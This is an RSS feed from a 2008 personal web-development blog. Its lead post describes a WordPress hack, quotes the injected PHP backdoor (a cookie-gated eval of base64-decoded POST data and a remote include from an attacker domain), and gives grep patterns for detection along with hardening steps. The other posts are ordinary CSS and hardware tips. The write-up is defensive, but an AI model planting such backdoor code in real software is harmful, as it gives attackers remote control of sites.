<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Steve Taylor</title>
	<atom:link href="http://sltaylor.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://sltaylor.co.uk</link>
	<description>Web development, design and more</description>
	<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>WordPress security</title>
		<link>http://sltaylor.co.uk/blog/2008/04/wordpress-security/</link>
		<comments>http://sltaylor.co.uk/blog/2008/04/wordpress-security/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[security]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=29</guid>
		<description><![CDATA[My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).</p>
<p>Needless to say, I&#8217;ve been forced to quickly learn a lot about web security, and I&#8217;ve been grateful to be forced to do so without major losses. I&#8217;ll try and document some useful things I&#8217;ve learned here.</p>
<h2>The hack</h2>
<p>I&#8217;m not sure anyone&#8217;s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.</p>
<p>With the recent release of <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">WP 2.5</a>, there have been some <a href="http://dougal.gunters.org/blog/2008/04/08/upgrade-or-else">sharp warnings</a> about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.</p>
<p>In the end, <em>all</em> my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I&#8217;ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by <code>.htaccess</code> logins) were compromised. In any case, the lesson here is clear: <em>keep all WP installations on any server you run upgraded to the latest version</em>.</p>
<p>The signs of the attack are quite distinct. It&#8217;s documented <a href="http://wordpress.org/support/topic/168964">on the WP forum</a> and by <a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">other people</a>. Here&#8217;s my summary of my experience:</p>
<ul>
<li>New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called <code>taxonomy.php</code>, there might be a new file called <code>taxonomy_old.php</code> or <code>taxonomy_new.php</code>. Other common new names included image-like extensions, e.g. <code>crop.php.pngg</code> or <code>wlw_old.php.giff</code>.</li>
<li>The main WP <code>index.php</code> changed to look like this:<br />
<blockquote class="code"><p>&lt;?php if(md5($_COOKIE['_wp_debugger'])==<br />
&quot;[long hash string here]&quot;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php<br />
/* Short and sweet */<br />
if (isset($_GET['license'])) {<br />
	@include(&#8217;http://wordpress.net.in/license.txt&#8217;);<br />
} else {<br />
	define(&#8217;WP_USE_THEMES&#8217;, true);<br />
	require(&#8217;./wp-blog-header.php&#8217;);<br />
}<br />
?&gt;</p>
</blockquote>
</li>
<li>That top line of PHP code was inserted into many other files.</li>
<li>A new user account could be found in the <code>wp_user</code> table, username &#8220;WordPress&#8221;. Apparently it doesn&#8217;t show up in the WP admin screen&#8212;check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in <code>wp_usermeta</code>, along with other entries that didn&#8217;t have a corresponding account in <code>wp_user</code>.</li>
<li>In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.</li>
</ul>
<p>Apparently another common sign of this attack is the appearance of files named <code>wp-info.txt</code> (containing passwords and so on that have been discovered by the above scripts). I didn&#8217;t get this, but watch for this too.</p>
<h2>Cleaning up</h2>
<ol>
<li>First, using phpMyAdmin, delete the &#8220;WordPress&#8221; entry from <code>wp_user</code> and its corresponding entries in <code>wp_usermeta</code>. Also delete all entries in <code>wp_usermeta</code> where the <code>user_id</code> value doesn&#8217;t correspond to a legitimate account in <code>wp_user</code>.</li>
<li>SSH into your server and search for offending code. I found the following commands useful:<br />
<blockquote class="code"><p>grep &#8211;recursive &#8220;eval(base64_decode($_POST['file']));&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;http://wordpress.net.in/license.txt&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;find suid files&#8221; *</p>
</blockquote>
<p>These search all files (<code>*</code>) in all sub-directories (<code>--recursive</code>, with two dashes&#8212;WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. <a href="http://wordpress.org/support/topic/168964#post-737989">This guy</a> has some other goodies.</p>
<li>Remove all offending files, via FTP or SSH (see above link).</li>
</li>
</ol>
<h2>Securing WordPress</h2>
<p>Obviously, upgrade all installations to <a href="http://wordpress.org/download/">the latest version</a>. This might make the last step redundant, but of course you should preserve your <code>wp-content</code> directory (while thoroughly scanning those files for hacked code).</p>
<p>Then do the following:</p>
<ol>
<li>With all of the following, use <a href="https://www.grc.com/passwords.htm">strong random passwords</a>. Of course they needn&#8217;t be as long as the ones on the page I&#8217;ve linked to, but it&#8217;s a good place to grab however many characters you need.</li>
<li>Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.</li>
<li>Change the default admin account username in all WP installations to something other than &#8220;admin&#8221;. You&#8217;ll need to do this via phpMyAdmin&#8212;change the <code>user_login</code> field.</li>
<li>Change all WP user account passwords.</li>
<li>Heck, change any other passwords too (like FTP).</li>
<li>Change the default <code>wp_</code> prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP&#8217;s in the same database. That&#8217;s possible (but not ideal). Really, the main benefit is so hackers don&#8217;t know what your database tables are called. <a href="http://www.richardsramblings.com/2008/02/06/changing-your-wordpress-table-prefix/">Richard LeCour</a> has a good guide to this, and there&#8217;s even <a href="http://blogsecurity.net/wordpress/tool-130707/">a plugin</a>. Here&#8217;s my summary of the manual method:
<ol>
<li>Change value of the <code>$table_prefix</code> variable in <code>wp-config.php</code>. I use a string of 5 or so characters from <a href="https://www.grc.com/passwords.htm">the password page</a>.</li>
<li>In phpMyAdmin, on the main page for the database in question, click the &#8216;SQL&#8217; tab. Use the following code to change the table names. (Obviously adjust for any other <code>wp_</code>-prefixed tables, e.g. tables created by various plugins.)<br />
<blockquote class="code"><p>RENAME TABLE wp_comments TO [your prefix here]_comments;<br />
RENAME TABLE wp_links TO [your prefix here]_links;<br />
RENAME TABLE wp_options TO [your prefix here]_options;<br />
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;<br />
RENAME TABLE wp_posts TO [your prefix here]_posts;<br />
RENAME TABLE wp_terms TO [your prefix here]_terms;<br />
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;<br />
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;<br />
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;<br />
RENAME TABLE wp_users TO [your prefix here]_users;</p>
</blockquote>
<p>Note: I&#8217;ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. <code>wp_posts</code>. You&#8217;ll need to change any instances of the same habit in your code using <code>$wpdb->prefix</code>. For instance, this:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM wp_posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Should become:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM &#8220;.$wpdb->prefix.&#8221;posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Most plugins use this to remain portable, but you might want to search your plugins for hard-coded <code>wp_</code>&#8217;s too.
</li>
<li>In the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>.</li>
<li>Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</li>
</ol>
</li>
<li>Finally, re-do the <code>grep</code> SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.</li>
</ol>
<p>My server&#8217;s been fine since doing all these things (though I&#8217;m touching wood now). Hopefully this&#8217;ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.</p>
<p>Here&#8217;s some more resources on WordPress that I&#8217;m still absorbing:</p>
<ul>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress/">BlogSecurity.net: WordPress</a> (see especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper/">WordPress Security Whitepaper</a>)</li>
</ul>
<h2>WordPress 2.5</h2>
<p>I&#8217;m really pleased with the new version of WordPress&#8212;great interface improvements, and it seems much nippier. However, I thought a curious new addition to the <code>wp-config.php</code> file could have done with some documentation, or some attention drawn to it. You&#8217;ll find this in 2.5&#8217;s new file:</p>
<blockquote class="code"><p>// Change SECRET_KEY to a unique phrase.  You won&#8217;t have to remember it later,<br />
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm<br />
// to get a phrase generated for you, or just make something up.<br />
define(&#8217;SECRET_KEY&#8217;, &#8216;put your unique phrase here&#8217;); // Change this to a unique phrase.</p>
</blockquote>
<p>Some people have missed this, apparently exposing themselves to <a href="http://blogsecurity.net/wordpress/wordpress-25-secret_key-vulnerability/">the one 2.5 vulnerability I&#8217;ve heard of so far</a>. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.</p>
<p>One more non-security note about the new <code>wp-config.php</code> file. If you upgrade to 2.5 and find your blog content&#8217;s got loads of garbled characters in it, the culprit is probably this new line:</p>
<blockquote class="code"><p>define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Comment it out like this:</p>
<blockquote class="code"><p>//define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2008/04/wordpress-security/feed/</wfw:commentRss>
		</item>
		<item>
		<title>CSS debugging in Internet Explorer</title>
		<link>http://sltaylor.co.uk/blog/2007/10/css-debugging-in-internet-explorer/</link>
		<comments>http://sltaylor.co.uk/blog/2007/10/css-debugging-in-internet-explorer/#comments</comments>
		<pubDate>Thu, 11 Oct 2007 21:10:49 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[css]]></category>

		<category><![CDATA[internet explorer]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/10/css-debugging-in-internet-explorer/</guid>
		<description><![CDATA[I develop XHTML/CSS primarily in Firefox, followed by testing in tweaks in other browsers. Apart from Firefox being my primary browser anyway, most of the reason for this is that there are some tools for it that have become as essential to me as my text editor (these days, that&#8217;s TopStyle). This handy trio are:

Firebug [...]]]></description>
			<content:encoded><![CDATA[<p>I develop XHTML/CSS primarily in Firefox, followed by testing in tweaks in other browsers. Apart from Firefox being my primary browser anyway, most of the reason for this is that there are some tools for it that have become as essential to me as my text editor (these days, that&#8217;s <a href="http://www.newsgator.com/Individuals/TopStyle/Default.aspx">TopStyle</a>). This handy trio are:</p>
<ul>
<li><a href="http://www.getfirebug.com/">Firebug</a> - simply incredible</li>
<li><a href="http://chrispederick.com/work/web-developer/">Web Developer Toolbar</a> - still very valuable, with some great little features</li>
<li><a href="http://www.iosart.com/firefox/colorzilla/">ColorZilla</a> - a good colour picker, plus some things that the others do, but slightly quicker to access</li>
</ul>
<p>This is all great. However, more often than not, the times when you <em>really</em> need this sort of stuff is in Internet Explorer - especially pre-7 versions.</p>
<p>I&#8217;ve not had much luck in IE 6 with the <a href="http://www.getfirebug.com/lite.html">Firebug Lite</a> implementation. I have just come across a good bookmarklet called <a href="http://www.westciv.com/xray/">XRAY</a>. Compared to the Swiss Army Knives above, it&#8217;s very basic, but it provides key information about page elements that can really speed debugging along.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/10/css-debugging-in-internet-explorer/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Networking problems with the Belkin Wireless G USB adapter</title>
		<link>http://sltaylor.co.uk/blog/2007/09/networking-problems-with-the-belkin-wireless-g-usb-adapter/</link>
		<comments>http://sltaylor.co.uk/blog/2007/09/networking-problems-with-the-belkin-wireless-g-usb-adapter/#comments</comments>
		<pubDate>Wed, 26 Sep 2007 18:44:10 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[hardware]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/09/networking-problems-with-the-belkin-wireless-g-usb-adapter/</guid>
		<description><![CDATA[Having just moved to London, into a flat with a wireless net connection, I needed to get my trusty desktop PC wireless-enabled.
My laptop, with it&#8217;s built-in wireless adapter, worked straight away. As the router here is a Belkin Wireless G, I thought I&#8217;d go for an adapter for my desktop from Belkin, too. I got [...]]]></description>
			<content:encoded><![CDATA[<p>Having just moved to London, into a flat with a wireless net connection, I needed to get my trusty desktop PC wireless-enabled.</p>
<p>My laptop, with it&#8217;s built-in wireless adapter, worked straight away. As the router here is a Belkin Wireless G, I thought I&#8217;d go for an adapter for my desktop from Belkin, too. I got an external USB one to match the &#8220;G&#8221; networking speed of the router.</p>
<p>The instructions for installing the adapter stress - repeatedly - that you should install the supplied software <em>before</em> plugging the adapter in. There&#8217;s even a sticker sealing the adapter&#8217;s little plastic bag exclaiming, &#8220;STOP: Run the installation CD-ROM FIRST&#8221; - which I dutifully did.</p>
<p>The adapter didn&#8217;t work. It occasionally recognised the network we&#8217;ve got here, but always failed to connect to it. I went through endless uninstalls and re-installs, eventually leading me to the inevitably frustrating experience of phoning technical support. After being told that my issue had been &#8220;escalated&#8221;, I was assured that engineers would call me back.</p>
<p>The next day, having received no call, I called again to see what was happening. They had no record of the previous day&#8217;s call at all, so I had to go through the whole thing again. At the end of this the support guy simply said I needed to take my adapter back and get another model.</p>
<p>Naturally I was a little dubious when the guys in the shop on Tottenham Court Road tried to sell me the one that&#8217;s twice as expensive - but it made some sense to get a &#8220;better&#8221; model (the slightly faster G+, though the extra bandwidth capacity is presumably redundant with a G router).</p>
<p>Coming to install it, I thought back to my experience with Belkin tech support, where both guys I spoke to immediately got me to restart the Windows XP &#8220;Wireless Zero Configuration&#8221; service. I believe this is Windows&#8217; built-in wireless networking manager, which Belkin&#8217;s &#8220;wireless utility&#8221; software promptly shuts down, taking over the OS&#8217;s handling of wireless connectivity. Why would they do that unless they thought it&#8217;s possible the Belkin utility might itself be getting in the way?</p>
<p>OK, I thought, there&#8217;s an obvious thing to try here. Just plug the adapter in and let Windows handle it all. Lo and behold! Windows immediately recognised the hardware, roped in its own XP drivers, and immediately connected to the local network.</p>
<p>I guess <em>maybe</em> the first one I got was just a dud, or wasn&#8217;t powerful enough (even though there&#8217;s only 10 feet and one wall between my adapter and the router). My bet&#8217;s that the vital and important-sounding warnings on the adapter&#8217;s packaging and installation instructions about running their CD first is just standard corporate shite, eager to get their own crummy little app running the show, even if their own tech support people know that it&#8217;s often the cause of many &#8220;issues&#8221; found with their hardware.</p>
<p>Anyone buying or having problems with the Belkin Wireless G USB adapter: try ignoring Belkin&#8217;s sage advice and letting Windows deal with it.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/09/networking-problems-with-the-belkin-wireless-g-usb-adapter/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Get rid of &#60;br /&#62; tags inserted by WordPress</title>
		<link>http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/#comments</comments>
		<pubDate>Thu, 28 Jun 2007 18:14:13 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/</guid>
		<description><![CDATA[Even these days, WordPress will often mess with HTML code entered into posts or pages. The most persistent problem I&#8217;ve found has been its penchant for inserting &#60;br /&#62; tags inside forms.
No, I&#8217;ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply [...]]]></description>
			<content:encoded><![CDATA[<p>Even these days, WordPress will often mess with HTML code entered into posts or pages. The most persistent problem I&#8217;ve found has been its penchant for inserting <code>&lt;br /&gt;</code> tags inside forms.</p>
<p>No, I&#8217;ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply it to any form (or other containing element) where unwanted <code>&lt;br /&gt;</code>s are being slipped in:</p>
<blockquote class="code"><p>.nobr br {display: none;}</p></blockquote>
<p>If you&#8217;re using <code>&lt;br /&gt;</code> tags yourself in that bit&#8230; well, you can always use a bit of a margin, eh?</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Default WordPress visual editor to &#8220;off&#8221; for new users</title>
		<link>http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/#comments</comments>
		<pubDate>Tue, 26 Jun 2007 17:47:43 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/</guid>
		<description><![CDATA[Being a die-hard hand-coder, WYSIWYG editors irk me. It&#8217;s partly an irrational &#8220;Get your mits off my code!&#8221; thing, but it&#8217;s often very practical.
Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough [...]]]></description>
			<content:encoded><![CDATA[<p>Being a die-hard hand-coder, WYSIWYG editors irk me. It&#8217;s partly an irrational &#8220;Get your mits off my code!&#8221; thing, but it&#8217;s often very practical.</p>
<p>Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough to work around my HTML when they edit their copy.</p>
<p>WP&#8217;s visual editor, however, isn&#8217;t. It switches any <code>&lt;div&gt;</code> for a <code>&lt;p&gt;</code>, and otherwise messes stuff up. Maybe there&#8217;s a way to coax it into being less interfering. But for now I just need to get the visual editor out the way.</p>
<p>In theory that&#8217;s fine - each user just has to uncheck the visual editor box on their WordPress profile. It&#8217;s set to be checked by default when a new user is created. It already happened several times that a client has forgotten to do this, gone to edit a tiny bit of copy on the delicately coded home page, only for the editor to mess it all up.</p>
<p>Can&#8217;t I just set visual editing to be &#8220;off&#8221; by default?</p>
<p>Here&#8217;s how. In the file <code>wp-admin/admin-functions.php</code>, change line 522 from this:</p>
<blockquote class="code"><p>$user-&gt;rich_editing = &#8216;true&#8217;;</p></blockquote>
<p>To (unsurprisingly) this:</p>
<blockquote class="code"><p>$user-&gt;rich_editing = &#8216;false&#8217;;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Vertically aligned content and sidebar with CSS</title>
		<link>http://sltaylor.co.uk/blog/2007/06/vertically-aligned-content-and-sidebar-with-css/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/vertically-aligned-content-and-sidebar-with-css/#comments</comments>
		<pubDate>Wed, 20 Jun 2007 20:17:30 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[css]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/vertically-aligned-content-and-sidebar-with-css/</guid>
		<description><![CDATA[One of the steps backwards taken with CSS is control of vertical stuff. Getting coloured sidebar and content areas to be equal height even when their contents are vertically unequal, and vertically centering something in a box are just two things that are (1) dead easy with tables, (2) quite common design requirements, and (3) [...]]]></description>
			<content:encoded><![CDATA[<p>One of the steps backwards taken with CSS is control of vertical stuff. Getting coloured sidebar and content areas to be equal height even when their contents are vertically unequal, and vertically centering something in a box are just two things that are (1) dead easy with tables, (2) quite common design requirements, and (3) a bit fiddly at best with current CSS standards.</p>
<p>Things may be changing with <a href="http://www.w3.org/TR/css3-layout/">new CSS standards</a>, and with the evolution of various <a href="http://www.student.oulu.fi/~laurirai/www/css/middle/">hacks</a> and <a href="http://www.jakpsatweb.cz/css/css-vertical-center-solution.html">workarounds</a>. Anyway, I just found a solution for a site I&#8217;m working on which seems to work well in this instance. I may have reinvented some wheel or other, but here it is.</p>
<p>The design involves a content area and sidebar looking a bit like this (scaled down &#038; simplified here!):</p>
<div class="img-center"><img src='http://sltaylor.co.uk/wp-content/uploads/2007/06/css-vertical1.jpg' alt='Vertical CSS 1' /></div>
<p>My solution is partly based on the common technique of using a vertically repeated background image to delineate the sidebar and content areas. This usually puts the image as the background of the <code>body</code> tag, giving top-to-bottom vertical columns. Here, I need the rounded top and bottom, and there&#8217;s the header and footer (not shown here) to account for, too.</p>
<p>Here&#8217;s the markup for my solution:</p>
<blockquote class="code"><p>
&lt;div id=&quot;main-top&quot;&gt;&lt;/div&gt;<br />
&lt;div id=&quot;main&quot;&gt;<br />
&lt;div id=&quot;content&quot;&gt;<br />
[content here]<br />
&lt;/div&gt;<br />
&lt;div id=&quot;sidebar&quot;&gt;<br />
[sidebar here]<br />
&lt;/div&gt;<br />
&lt;div id=&quot;main-bottom&quot;&gt;&lt;/div&gt;<br />
&lt;/div&gt;
</p></blockquote>
<p><code>main-top</code> and <code>main-bottom</code> take care of the rounded top and bottom, with full-width background images and a fixed height (not forgetting the <a href="http://www.positioniseverything.net/explorer/expandingboxbug.html">Expanding Box</a> and <a href="http://www.mezzoblue.com/archives/2004/09/16/minheight_fi/"><code>min-height</code></a> fixes for good ol&#8217; IE 6).</p>
<p><code>main</code> is given a vertically repeated background image, about 5px high, for the sidebar&#8217;s gradient and the white background for the content. (This design actually has a slight vertical gradient in the content area, too. Setting it as a non-repeating top-aligned background image for <code>content</code>, and giving <code>content</code> a <code>min-height</code> equal to the image&#8217;s height, sorted that out.)</p>
<p>The content and sidebar are floated right (don&#8217;t forget IE&#8217;s <a href="http://www.positioniseverything.net/explorer/doubled-margin.html">double float margin</a> bug!).</p>
<p>The key here is setting <code>main-bottom</code> to <code>clear:both</code> and - my new (for me) innovation - placing it <em>inside</em> the <code>div</code> with the class <code>main</code>. It clears the content and sidebar, exposing the repeated background on <code>main</code>.</p>
<p>Hey presto, equal-height content and sidebar.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/vertically-aligned-content-and-sidebar-with-css/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Spamhaus.org and SMTP authentication</title>
		<link>http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/#comments</comments>
		<pubDate>Mon, 11 Jun 2007 21:28:15 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[coldfusion]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/</guid>
		<description><![CDATA[Just solved a pesky email problem that was really vexing.
Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn&#8217;t send. A glance at my ColdFusion log files showed the error &#8220;Invalid Addresses&#8221;.
Some addresses from some of my domains have started [...]]]></description>
			<content:encoded><![CDATA[<p>Just solved a pesky email problem that was really vexing.</p>
<p>Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn&#8217;t send. A glance at my ColdFusion log files showed the error &#8220;Invalid Addresses&#8221;.</p>
<p>Some addresses from some of my domains have started to be used extensively for sending spam (by other people!), so I wondered whether I&#8217;d got blacklisted somehow.</p>
<p>A blacklist was involved, but not for addresses. A closer look at the CF error logs showed this:</p>
<blockquote><p>Invalid Addresses; nested exception is: class javax.mail.SendFailedException: 550-xx.xx.xx.xx is listed at zen.spamhaus.org (127.0.0.11: 550 http://www.spamhaus.org/query/bl?ip=xx.xx.xx.xx)</p></blockquote>
<p>The x&#8217;d out bits are my current <a href="http://www.whatismyipaddress.com/">IP address</a>. <a href="http://www.spamhaus.org/">Spamhaus.org</a> seems to be a large spam-fighting clearinghouse, with, among other things, IP blacklists. Looking up my IP address on <a href="http://www.spamhaus.org/lookup.lasso">their database</a> found it listed.</p>
<p><a href="http://www.spamhaus.org/faq/answers.lasso?section=Spamhaus%20PBL#183">The solution</a> is to add SMTP authentication to your outgoing mail script. For ColdFusion, it looks something like this:</p>
<blockquote class="code"><p>
&lt;cfmail to=&#8221;user@domain.com&#8221; from=&#8221;noreply@domain.com&#8221; subject=&#8221;Message subject&#8221; server=&#8221;smtp.domain.com&#8221; username=&#8221;noreply&#8221; password=&#8221;password&#8221;&gt;<br />
&#8230; message &#8230;<br />
&lt;/cfmail&gt;
</p></blockquote>
<p>(Obviously, with suitable bits substituted for your situation&#8230;)</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Google, SEO &#038; CSS image replacement</title>
		<link>http://sltaylor.co.uk/blog/2007/06/google-seo-css-image-replacement/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/google-seo-css-image-replacement/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 12:06:37 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[css]]></category>

		<category><![CDATA[search engines]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/google-seo-css-image-replacement/</guid>
		<description><![CDATA[I&#8217;ve just been reading about possible clashes between the CSS &#8220;image replacement&#8221; technique that I use and Google&#8217;s rules about spam techniques.
Image replacement involves using CSS to hide the text for an element (e.g. a &#60;h1&#62;), and setting the background-image for that element to replace it with an image. Users with visual browsers with CSS [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve just been reading about possible clashes between the <a href="http://www.mezzoblue.com/tests/revised-image-replacement/">CSS &#8220;image replacement&#8221; technique</a> that I use and Google&#8217;s rules about spam techniques.</p>
<p>Image replacement involves using CSS to hide the text for an element (e.g. a <code>&lt;h1&gt;</code>), and setting the <code>background-image</code> for that element to replace it with an image. Users with visual browsers with CSS get the image; text-only browsers, bots, etc., just see plain text.</p>
<p>It&#8217;s not without its detractors and slight drawbacks, but it&#8217;s a widespread technique. A quick scan of big-name sites as of writing found it in evidence on <a href="http://www.stopdesign.com/">stopdesign.com</a>, <a href="http://www.mezzoblue.com/">mezzoblue.com</a> and <a href="http://www.adobe.com/">adobe.com</a>.</p>
<p>However:</p>
<blockquote cite="http://www.google.com/support/webmasters/bin/answer.py?answer=66353"><p>Hiding text or links in your content can cause your site to be perceived as untrustworthy since it presents information to search engines differently than to visitors. (<a href="http://www.google.com/support/webmasters/bin/answer.py?answer=66353">Google Webmaster Help Center</a>)</p></blockquote>
<p>This obviously caused some panic among developers using image replacement. While Google seem to have made some comments saying that they would distinguish between legitimate usage and spamming, they&#8217;re pretty vague about what constitutes one or the other. The ever-informative 456bereastreet.com <a href="http://www.456bereastreet.com/archive/200510/google_seo_and_using_css_to_hide_text/">have a good summary</a>. But while their conclusion is quite reassuring, it&#8217;s two years old - an aeon in web technology - and still vague:</p>
<blockquote cite="http://www.456bereastreet.com/archive/200510/google_seo_and_using_css_to_hide_text/"><p>While it&#8217;s good to know that sites are not currently being removed without a manual review, that could change in the future. So I would advise anyone making extensive use of CSS techniques that hide text to make sure that it can&#8217;t be mistaken for spamming.</p></blockquote>
<p>How do you make sure? They don&#8217;t say.</p>
<p>More recently, <a href="http://www.seocritique.com/sem/seo/css-image-replacement">SEO Critique</a> took the approach of checking out high-profile designers with close links to Google and seeing if they used image replacement:</p>
<blockquote cite="http://www.seocritique.com/sem/seo/css-image-replacement"><p>Rand Fishkin at SEOmoz does use CSS image replacement on the SEOmoz.org site, albeit sparingly. &#8230; I figure that Rand goes to enough conferences and has enough interaction with Googlers like Matt Cutts and Vanessa Fox that if there was a danger of imminent death by penalty he would know and would quickly order the offense removed. Hence, used sparingly and in the strict spirit of If a Blind Person Were Using a Text Reader How Would It Sound? My opinion is that using CSS image replacement is probably okay.</p></blockquote>
<p>Probably not an issue to get panicked about, then, but one to keep your eye on. I&#8217;ll carry on using it judiciously until further notice.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/google-seo-css-image-replacement/feed/</wfw:commentRss>
		</item>
		<item>
		<title>IE CSS box height bug</title>
		<link>http://sltaylor.co.uk/blog/2007/04/ie-css-box-height-bug/</link>
